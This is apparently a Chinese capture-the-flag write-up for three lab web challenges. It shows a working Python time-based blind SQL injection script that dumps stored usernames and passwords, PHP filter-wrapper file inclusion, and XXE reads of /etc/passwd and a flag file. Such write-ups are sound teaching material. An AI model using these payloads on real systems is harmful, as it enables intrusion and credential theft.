简单的注入
简单的测试之后:
| a'/**/or/**/IF(0,SLEEP(5),1)%23
|
可以进行时间盲注
那么直接跑脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import requests import base64 import sys import string import hashlib import io import time sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改变标准输出的默认编码,否则s.text不能输出 ss = "" x = string.printable url = "http://10.3.120.24/?c=UserLogin&f=login" payload={ "username":"", "password":"123" } #测试 # r=requests.post(url,data=payload) # print(r.text) for i in range(1,60): for j in x: #payload["username"]=("123'/**/and/**/1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1%23")%(str(i),ord(j)) #payload["username"]=("a'/**/or/**/IF(substr(database(),{},1)='{}',sleep(5),1)#").format(str(i),str(j)) #payload["username"]=("a'/**/or/**/IF((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),sleep(5),0)#").format(str(i),ord(j)) #table : user #payload["username"]=("a'/**/or/**/IF((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='user')),%s,1))=%s),sleep(5),0)#")%(str(i),ord(j)) payload["username"]=("a'/**/or/**/IF((ascii(substr((select(group_concat(username,password))from(user)),%s,1))=%s),sleep(5),0)#")%(str(i),ord(j)) # admin Admin@12999... #print(payload) try: r = requests.post(url=url,data=payload,timeout=3) print( r.text) except requests.exceptions.Timeout as e: ss += j print(ss) break
|
最后得到表:user,列名:userid,username,password,
然后再提取数据,得到用户名admin密码Admin@12999…
登录后得到flag:flag{ba4oy6nwovvkz8fdxjz90geghdpstywu}
Be_Careful
从http://10.3.120.25/index.php?file=1.php
很容易看出是文件包含
伪协议读index.php源码,发现提示real_flag.php
同样提取real_flag.php的源码
发现只需要把69563214562转为十六进制即可绕过,
即访问:?a=0x10324a6ae2
得到flag
flag{ny2w6iezylnlamxfijufowhcpevjqdzd}
flagin
从post给dolongin.php的数据可以看到是xml格式的
那么自然想到利用xxe读文件
起初试了一下读取/etc/passwd,可以读到。
同样试了读取/flag,没有内容,
读/flag.txt提示姿势不对。
最后通过php伪协议读flag.txt文件
php://filter/read=convert.base64-encode/resource=/flag.txt
成功读到,解码后得到flag
吐槽
吐槽一下Console的那个guest/guest弱口令:对不起,是我字典不够强,不够充分,我太菜了。